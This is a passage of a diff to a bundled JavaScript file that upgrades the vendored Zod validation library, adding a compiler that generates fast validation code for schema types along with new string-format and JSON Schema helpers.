}); + doc.write(`}`); + return outputVar; +} +function isExactOptional(schema) { + return schema._zod.traits?.has("$ZodExactOptional") === true; +} +function requiresPresenceCheck(schema) { + return schema._zod.optin === void 0 && fastPathAcceptsAbsence(schema); +} +function fastPathAcceptsAbsence(schema) { + if (schema._zod.def.coerce) + return true; + const def = schema._zod.def; + switch (def.type) { + case "any": + case "unknown": + case "undefined": + case "void": + case "default": + case "prefault": + case "transform": + case "custom": + case "lazy": + return true; + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "never": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + return false; + case "nonoptional": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + case "nullable": + case "readonly": + case "success": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : true; + case "catch": + return true; + case "union": + return def.options ? def.options.some(fastPathAcceptsAbsence) : true; + case "intersection": + if (!def.left || !def.right) + return true; + return fastPathAcceptsAbsence(def.left) && fastPathAcceptsAbsence(def.right); + case "pipe": + return def.in ? fastPathAcceptsAbsence(def.in) : true; + default: + return true; + } +} +function dropsWhenAbsent(schema) { + return schema._zod.optin === "optional" && schema._zod.optout === "optional"; +} +function mayOmitUndefined(schema) { + return (schema._zod.optin !== "defaulted" || schema._zod.optout === "optional") && mayOutputUndefined(schema); +} +function mayOutputUndefined(schema) { + const def = schema._zod.def; + switch (def.type) { + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + case "never": + case "success": + return false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + return true; + case "nullable": + case "readonly": + case "nonoptional": + return def.innerType ? mayOutputUndefined(def.innerType) : true; + case "union": + return def.options ? def.options.some(mayOutputUndefined) : true; + case "intersection": + return !def.left || !def.right || mayOutputUndefined(def.left) || mayOutputUndefined(def.right); + case "pipe": + return def.out ? mayOutputUndefined(def.out) : true; + default: + return true; + } +} +function generateNullableCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar} = null;`); + doc.write(`if (${accessor} !== null) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateSizeGate(doc, schema, size2) { + for (const [max, check3] of sizeCaps(schema._zod.def.checks)) { + doc.write(`if (${size2} > ${numericOperand(max, check3._zod.def.check)}) return INVALID;`); + } +} +function generateArrayCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.length`); + const outputVar = buildsValue ? newVar(ctx) : null; + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + if (outputVar) + doc.write(`const ${outputVar} = new Array(${accessor}.length);`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, def.element, elemVar, buildsValue); + if (outputVar && elemOutput !== null) + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateLiteralCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const values2 = def.values; + if (values2.length !== 1) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + const value = values2[0]; + if (typeof value === "number" && Number.isNaN(value)) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + if (typeof value === "string") { + doc.write(`if (${accessor} !== ${esc(value)}) return INVALID;`); + } else if (typeof value === "number" || typeof value === "boolean") { + doc.write(`if (${accessor} !== ${value}) return INVALID;`); + } else if (value === null) { + doc.write(`if (${accessor} !== null) return INVALID;`); + } else if (value === void 0) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + } else if (typeof value === "bigint") { + doc.write(`if (${accessor} !== ${value}n) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError(`literal type ${typeof value}`); + } + return accessor; +} +function generateEnumCheck(doc, ctx, schema, accessor) { + const values2 = schema._zod.values; + if (!values2) { + throw new ZodCompileUnsupportedError("enum schema without enumerated values"); + } + const enumSet = addConstant(ctx, values2); + doc.write(`if (!${enumSet}.has(${accessor})) return INVALID;`); + return accessor; +} +function generateWrapperCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + return generateCheck(doc, ctx, def.innerType, accessor); +} +function generateDefaultCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const descriptor = Object.getOwnPropertyDescriptor(schema._zod.def, "defaultValue"); + const defaultGetter = descriptor ? () => schema._zod.def.defaultValue : void 0; + if (schema._zod.def.type === "prefault") { + if (!defaultGetter) { + return generateCheck(doc, ctx, def.innerType, accessor); + } + const defaultFn = addConstant(ctx, defaultGetter); + const inputVar = newVar(ctx); + doc.write(`let ${inputVar} = ${accessor};`); + doc.write(`if (${accessor} === undefined) ${inputVar} = ${defaultFn}();`); + return generateCheck(doc, ctx, def.innerType, inputVar); + } + const outputVar = newVar(ctx); + if (defaultGetter) { + const defaultFn = addConstant(ctx, defaultGetter); + const cloneFn = addConstant(ctx, shallowClone); + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${cloneFn}(${defaultFn}());`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput} === undefined ? ${cloneFn}(${defaultFn}()) : ${innerOutput};`); + }); + doc.write(`}`); + } else { + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function generateNonOptionalCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const innerOutput = generateCheck(doc, ctx, def.innerType, accessor); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${innerOutput};`); + doc.write(`if (${outputVar} === undefined) return INVALID;`); + return outputVar; +} +function generateTupleCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const items = def.items; + const rest = def.rest; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + const optinStart = getTupleOptStart2(items, "optin"); + const optoutStart = getTupleOptStart2(items, "optout"); + if (rest) { + doc.write(`if (${accessor}.length < ${optinStart}) return INVALID;`); + } else { + doc.write(`if (${accessor}.length < ${optinStart} || ${accessor}.length > ${items.length}) return INVALID;`); + } + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = [];`); + for (let i = 0; i < items.length; i++) { + const itemSchema = items[i]; + if (i >= optoutStart) { + doc.write(`if (${outputVar}.length === ${i}) {`); + doc.indented((d) => { + d.write(`if (${i} < ${accessor}.length) {`); + d.indented((d2) => { + const elemVar = newVar(ctx); + d2.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(d2, ctx, itemSchema, elemVar); + d2.write(`${outputVar}[${i}] = ${elemOutput};`); + }); + d.write(`} else {`); + d.indented((d2) => { + if (dropsWhenAbsent(itemSchema)) { + d2.write(`${outputVar}.length = ${i};`); + return; + } + const elemVar = newVar(ctx); + const branchVar = newVar(ctx); + d2.write(`const ${elemVar} = undefined;`); + d2.write(`const ${branchVar} = (() => {`); + d2.indented((d3) => { + const elemOutput = compileChild(d3, ctx, itemSchema, elemVar); + d3.write(`return ${elemOutput};`); + }); + d2.write(`})();`); + d2.write(`if (${branchVar} === INVALID || ${branchVar} === undefined) ${outputVar}.length = ${i};`); + d2.write(`else ${outputVar}[${i}] = ${branchVar};`); + }); + d.write(`}`); + }); + doc.write(`}`); + } else { + const elemVar = newVar(ctx); + doc.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(doc, ctx, itemSchema, elemVar); + doc.write(`${outputVar}[${i}] = ${elemOutput};`); + } + } + if (rest) { + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + doc.write(`for (let ${iVar} = ${items.length}; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, rest, elemVar); + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function getTupleOptStart2(items, key) { + for (let i = items.length - 1; i >= 0; i--) { + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) + return i + 1; + } + return 0; +} +function generateUnionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const options = def.options; + if (def.discriminator) { + return generateDiscriminatedUnionCheck(doc, ctx, def, accessor); + } + if (def.inclusive === false) { + throw new ZodCompileUnsupportedError("exclusive unions (z.xor)"); + } + if (options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + if (options.length === 1) { + return generateCheck(doc, ctx, options[0], accessor); + } + const allLiterals = options.every((opt) => opt._zod.def.type === "literal" && !opt._zod.def.checks?.length); + if (allLiterals) { + const values2 = new Set(options.flatMap((opt) => opt._zod.def.values)); + const valuesConst = addConstant(ctx, values2); + doc.write(`if (!${valuesConst}.has(${accessor})) return INVALID;`); + return accessor; + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar};`); + for (let i = 0; i < options.length; i++) { + const opt = options[i]; + if (i === 0) { + doc.write(`${outputVar} = (() => {`); + } else { + doc.write(`if (${outputVar} === INVALID) ${outputVar} = (() => {`); + } + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, opt, accessor); + d.write(`return ${branchOutput};`); + }); + doc.write(`})();`); + } + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generateDiscriminatedUnionCheck(doc, ctx, def, accessor) { + if (def.unionFallback) { + throw new ZodCompileUnsupportedError("discriminated union with unionFallback"); + } + if (def.options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + const discVar = newVar(ctx); + const outputVar = newVar(ctx); + doc.write(`const ${discVar} = ${accessor}?.[${esc(def.discriminator)}];`); + doc.write(`let ${outputVar};`); + let firstBranch = true; + const claimed = /* @__PURE__ */ new Set(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) { + throw new ZodCompileUnsupportedError("discriminated union option without static discriminator values"); + } + for (const value of values2) { + if (claimed.has(value)) { + throw new ZodCompileUnsupportedError(`duplicate discriminator value ${String(value)}`); + } + claimed.add(value); + } + const conditions = Array.from(values2, (value) => literalEquality(ctx, discVar, value)); + const prefix = firstBranch ? "if" : "else if"; + doc.write(`${prefix} (${conditions.join(" || ")}) {`); + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, option, accessor); + d.write(`${outputVar} = ${branchOutput};`); + }); + doc.write(`}`); + firstBranch = false; + } + doc.write(`else { return INVALID; }`); + return outputVar; +} +function literalEquality(ctx, accessor, value) { + if (typeof value === "string") + return `${accessor} === ${esc(value)}`; + if (typeof value === "number") { + if (Number.isNaN(value)) + return `Number.isNaN(${accessor})`; + return `${accessor} === ${value}`; + } + if (typeof value === "boolean") + return `${accessor} === ${value}`; + if (value === null) + return `${accessor} === null`; + if (value === void 0) + return `${accessor} === undefined`; + if (typeof value === "bigint") + return `${accessor} === ${value}n`; + if (typeof value === "symbol") { + const symbolConst = addConstant(ctx, value); + return `${accessor} === ${symbolConst}`; + } + throw new ZodCompileUnsupportedError(`literal discriminator value ${String(value)}`); +} +function generateIntersectionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + ctx.definite = false; + const leftOutput = compileChild(doc, ctx, def.left, accessor); + const rightOutput = compileChild(doc, ctx, def.right, accessor); + const mergeConst = addConstant(ctx, mergeValues); + const mergedVar = newVar(ctx); + doc.write(`const ${mergedVar} = ${mergeConst}(${leftOutput}, ${rightOutput});`); + doc.write(`if (!${mergedVar}.valid) return INVALID;`); + return `${mergedVar}.data`; +} +function generateRecordCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const isPlainObjectConst = addConstant(ctx, isPlainObject); + doc.write(`if (!${isPlainObjectConst}(${accessor})) return INVALID;`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = {};`); + const recordDef = def; + const keyValues = recordDef.partial ? void 0 : def.keyType._zod.values; + if (keyValues) { + const inputKeys = []; + for (const key of keyValues) { + if (!(typeof key === "string" || typeof key === "number" || typeof key === "symbol")) { + throw new ZodCompileUnsupportedError(`record key value ${String(key)}`); + } + const inputKey = typeof key === "number" ? key.toString() : key; + if (inputKey === "__proto__") { + throw new ZodCompileUnsupportedError('record key "__proto__"'); + } + inputKeys.push(inputKey); + const keyConst = addConstant(ctx, key); + const outKey = generateCheck(doc, ctx, def.keyType, keyConst); + const valueVar = newVar(ctx); + doc.write(`const ${valueVar} = ${accessor}[${literalPropertyKey(ctx, inputKey)}];`); + const valOutput = compileChild(doc, ctx, def.valueType, valueVar); + doc.write(`${outputVar}[${outKey}] = ${valOutput};`); + } + const knownKeysConst = addConstant(ctx, new Set(inputKeys)); + doc.write(`for (const ${kVar} in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${knownKeysConst}.has(${kVar})) continue;`); + if (recordDef.mode === "loose") { + d.write(`if (${kVar} !== "__proto__") ${outputVar}[${kVar}] = ${accessor}[${kVar}];`); + } else { + d.write(`return INVALID;`); + } + }); + doc.write(`}`); + return outputVar; + } + const keyDef = def.keyType._zod.def; + const keyIsBareString = keyDef.type === "string" && keyDef.format === void 0 && !keyDef.coerce && (keyDef.checks?.length ?? 0) === 0; + if (!keyIsBareString) { + const isLoose = def.mode === "loose"; + const keyFn = compileFn(def.keyType); + if (keyFn.definite === false) + ctx.definite = false; + const keyFast = addConstant(ctx, keyFn); + const numericConst = addConstant(ctx, number); + const outKeyVar = newVar(ctx); + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`let ${outKeyVar} = ${keyFast}(${kVar});`); + d.write(`if (${outKeyVar} === INVALID && typeof ${kVar} === "string" && ${numericConst}.test(${kVar})) ${outKeyVar} = ${keyFast}(Number(${kVar}));`); + if (isLoose) { + d.write(`if (${outKeyVar} === INVALID) { ${outputVar}[${kVar}] = ${accessor}[${kVar}]; continue; }`); + } else { + d.write(`if (${outKeyVar} === INVALID) return INVALID;`); + } + d.write(`if (${outKeyVar} === "__proto__") continue;`); + const valueVar = newVar(ctx); + d.write(`const ${valueVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valueVar); + d.write(`${outputVar}[${outKeyVar}] = ${valOutput};`); + }); + return outputVar; + } + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`const ${valVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valVar); + d.write(`${outputVar}[${kVar}] = ${valOutput};`); + }, `return INVALID;`); + return outputVar; +} +function emitOwnKeys(doc, ctx, accessor, kVar, body, onSymbol) { + const propIsEnumerableConst = addConstant(ctx, Object.prototype.propertyIsEnumerable); + const symsVar = newVar(ctx); + const keysVar = newVar(ctx); + const iVar = newVar(ctx); + doc.write(`const ${symsVar} = Object.getOwnPropertySymbols(${accessor});`); + doc.write(`const ${keysVar} = Object.getOwnPropertyNames(${accessor});`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${keysVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${keysVar}[${iVar}];`); + d.write(`if (${kVar} === "__proto__" || !${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + body(d); + }); + doc.write(`}`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${symsVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${symsVar}[${iVar}];`); + d.write(`if (!${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + if (onSymbol) + d.write(onSymbol); + else + body(d); + }); + doc.write(`}`); +} +function literalPropertyKey(ctx, key) { + if (typeof key === "string") + return esc(key); + return addConstant(ctx, key); +} +function generateMapCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Map)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Map();`); + doc.write(`for (const [${kVar}, ${valVar}] of ${accessor}) {`); + doc.indented((d) => { + const keyOutput = generateCheck(d, ctx, def.keyType, kVar); + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.set(${keyOutput}, ${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateSetCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Set)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Set();`); + doc.write(`for (const ${valVar} of ${accessor}) {`); + doc.indented((d) => { + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.add(${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateFileCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof File)) return INVALID;`); + return accessor; +} +function generateTemplateLiteralCheck(doc, ctx, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const pattern = schema._zod.pattern; + if (pattern) { + const patternConst = addConstant(ctx, pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + } + return accessor; +} +function generateLazyCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const getterConst = addUserConstant(ctx, def.getter); + const cacheConst = addConstant(ctx, { parser: null }); + doc.write(`if (!${cacheConst}.parser) {`); + doc.indented((d) => { + d.write(`const inner = ${getterConst}();`); + d.write(`${cacheConst}.parser = function(input) {`); + d.indented((d2) => { + d2.write(`const result = inner._zod.run({ value: input, issues: [] }, {});`); + d2.write(`return result.issues.length === 0 ? result.value : INVALID;`); + }); + d.write(`};`); + }); + doc.write(`}`); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${cacheConst}.parser(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generatePipeCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const inputOutput = generateCheck(doc, ctx, def.in, accessor); + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms in pipes are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const transformedVar = newVar(ctx); + doc.write(`const ${transformedVar} = ${helperConst}(${inputOutput});`); + doc.write(`if (${transformedVar} === INVALID) return INVALID;`); + return generateCheck(doc, ctx, def.out, transformedVar); + } else { + return generateCheck(doc, ctx, def.out, inputOutput); + } +} +function isAsyncFunction(fn) { + return typeof fn === "function" && (fn.constructor.name === "AsyncFunction" || fn[Symbol.toStringTag] === "AsyncFunction"); +} +function generateCustomCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async custom predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError("custom schema without a predicate function"); + } + return accessor; +} +function runtimeCatch(innerSchema, catchValue, value) { + const result = innerSchema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + if (r.issues.length === 0) + return r.value; + return catchValue(); +} +function generateCatchCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (!def.catchValue[CONSTANT_CATCH]) { + throw new ZodCompileUnsupportedError("catch with a callback (only a constant catch value compiles)", false); + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar} = (() => {`); + doc.indented((d) => { + const innerOut = compileChild(d, ctx, def.innerType, accessor); + d.write(`return ${innerOut};`); + }); + doc.write(`})();`); + const innerConst = addConstant(ctx, def.innerType); + const catchConst = addUserConstant(ctx, def.catchValue); + const catchHelperConst = addConstant(ctx, runtimeCatch); + doc.write(`if (${outputVar} === INVALID) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${catchHelperConst}(${innerConst}, ${catchConst}, ${accessor});`); + d.write(`if (${outputVar} === INVALID) return INVALID;`); + }); + doc.write(`}`); + return outputVar; +} +function generateTransformCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; + } + return accessor; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/api.js +function snapshotChecks(def) { + if (def.checks) + def.checks = [...def.checks]; + return def; +} // @__NO_SIDE_EFFECTS__ function _string(Class2, params) { - return new Class2({ - type: "string", - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedString(Class2, params) { - return new Class2({ - type: "string", - coerce: true, - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", coerce: true, ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _email(Class2, params) { @@ -65353,6 +69528,26 @@ function _e164(Class2, params) { }); } // @__NO_SIDE_EFFECTS__ +function _creditCard(Class2, params) { + return new Class2({ + type: "string", + format: "credit_card", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _iban(Class2, params) { + return new Class2({ + type: "string", + format: "iban", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _jwt(Class2, params) { return new Class2({ type: "string", @@ -65411,20 +69606,11 @@ function _isoDuration(Class2, params) { } // @__NO_SIDE_EFFECTS__ function _number(Class2, params) { - return new Class2({ - type: "number", - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedNumber(Class2, params) { - return new Class2({ - type: "number", - coerce: true, - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", coerce: true, checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _int(Class2, params) { @@ -65766,6 +69952,14 @@ function _property(property, schema, params) { }); } // @__NO_SIDE_EFFECTS__ +function _properties(shape, params) { + return new $ZodCheckProperties({ + check: "properties", + shape, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _mime(types2, params) { return new $ZodCheckMimeType({ check: "mime_type", @@ -65782,23 +69976,23 @@ function _overwrite(tx) { } // @__NO_SIDE_EFFECTS__ function _normalize(form) { - return /* @__PURE__ */ _overwrite((input) => input.normalize(form)); + return /* @__PURE__ */ _overwrite((input2) => input2.normalize(form)); } // @__NO_SIDE_EFFECTS__ function _trim() { - return /* @__PURE__ */ _overwrite((input) => input.trim()); + return /* @__PURE__ */ _overwrite((input2) => input2.trim()); } // @__NO_SIDE_EFFECTS__ function _toLowerCase() { - return /* @__PURE__ */ _overwrite((input) => input.toLowerCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toLowerCase()); } // @__NO_SIDE_EFFECTS__ function _toUpperCase() { - return /* @__PURE__ */ _overwrite((input) => input.toUpperCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toUpperCase()); } // @__NO_SIDE_EFFECTS__ function _slugify() { - return /* @__PURE__ */ _overwrite((input) => slugify(input)); + return /* @__PURE__ */ _overwrite((input2) => slugify(input2)); } // @__NO_SIDE_EFFECTS__ function _array(Class2, element, params) { @@ -65965,7 +70159,7 @@ function _catch(Class2, innerType, catchValue) { return new Class2({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : constantCatch(catchValue) }); } // @__NO_SIDE_EFFECTS__ @@ -66038,7 +70232,8 @@ function _superRefine(fn, params) { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = ch); _issue.continue ?? (_issue.continue = !ch._zod.def.abort); payload.issues.push(issue(_issue)); @@ -66103,8 +70298,8 @@ function _stringbool(Classes, _params) { type: "pipe", in: stringSchema, out: booleanSchema, - transform: (input, payload) => { - let data = input; + transform: (input2, payload) => { + let data = input2; if (params.case !== "sensitive") data = data.toLowerCase(); if (truthySet.has(data)) { @@ -66123,8 +70318,8 @@ function _stringbool(Classes, _params) { return {}; } }, - reverseTransform: (input, _payload) => { - if (input === true) { + reverseTransform: (input2, _payload) => { + if (input2 === true) { return truthyArray[0] || "true"; } else { return falsyArray[0] || "false"; @@ -66132,13 +70327,15 @@ function _stringbool(Classes, _params) { }, error: params.error }); + codec2._zod.bag.truthy = truthyArray; + codec2._zod.bag.falsy = falsyArray; + codec2._zod.bag.case = params.case ?? "insensitive"; return codec2; } // @__NO_SIDE_EFFECTS__ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { const params = normalizeParams(_params); const def = { - ...normalizeParams(_params), check: "string_format", type: "string", format, @@ -66152,7 +70349,17 @@ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { return inst; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/to-json-schema.js +function assignProps(target, ...sources) { + for (const source of sources) { + for (const key of Reflect.ownKeys(source)) { + if (Object.prototype.propertyIsEnumerable.call(source, key)) { + assignProp(target, key, source[key]); + } + } + } + return target; +} function initializeContext(params) { let target = params?.target ?? "draft-2020-12"; if (target === "draft-4") @@ -66169,12 +70376,25 @@ function initializeContext(params) { io: params?.io ?? "output", counter: 0, seen: /* @__PURE__ */ new Map(), + sharedDefsExtractedFor: void 0, + sharedEmitDoneFor: void 0, cycles: params?.cycles ?? "ref", reused: params?.reused ?? "inline", + intersections: [], + deferred: [], external: params?.external ?? void 0 }; } -function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { +function handleUnrepresentable(schema, ctx, json3, params, message2) { + const result = typeof ctx.unrepresentable === "function" ? ctx.unrepresentable({ zodSchema: schema, path: params.path, message: message2 }) : ctx.unrepresentable; + if (result === "any") + return false; + if (result === void 0 || result === "throw") + throw new Error(message2); + Object.assign(json3, result); + return true; +} +function processSchema(schema, ctx, _params = { path: [], schemaPath: [] }) { var _a3; const def = schema._zod.def; const seen = ctx.seen.get(schema); @@ -66188,6 +70408,8 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { } const result = { schema: {}, count: 1, cycle: void 0, path: _params.path }; ctx.seen.set(schema, result); + ctx.sharedDefsExtractedFor = void 0; + ctx.sharedEmitDoneFor = void 0; const overrideSchema = schema._zod.toJSONSchema?.(); if (overrideSchema) { result.schema = overrideSchema; @@ -66211,13 +70433,13 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { if (parent) { if (!result.ref) result.ref = parent; - process2(parent, ctx, params); + processSchema(parent, ctx, params); ctx.seen.get(parent).isParent = true; } } const meta3 = ctx.metadataRegistry.get(schema); if (meta3) - Object.assign(result.schema, meta3); + assignProps(result.schema, meta3); if (ctx.io === "input" && isTransforming(schema)) { delete result.schema.examples; delete result.schema.default; @@ -66228,10 +70450,15 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { const _result = ctx.seen.get(schema); return _result.schema; } +function encodeJSONPointerSegment(segment) { + return segment.replace(/~/g, "~0").replace(/\//g, "~1"); +} function extractDefs(ctx, schema) { const root = ctx.seen.get(schema); if (!root) throw new Error("Unprocessed schema. This is a bug in Zod."); + if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) + return; const idToSchema = /* @__PURE__ */ new Map(); for (const entry of ctx.seen.entries()) { const id = ctx.metadataRegistry.get(entry[0])?.id; @@ -66253,15 +70480,15 @@ function extractDefs(ctx, schema) { } const id = entry[1].defId ?? entry[1].schema.id 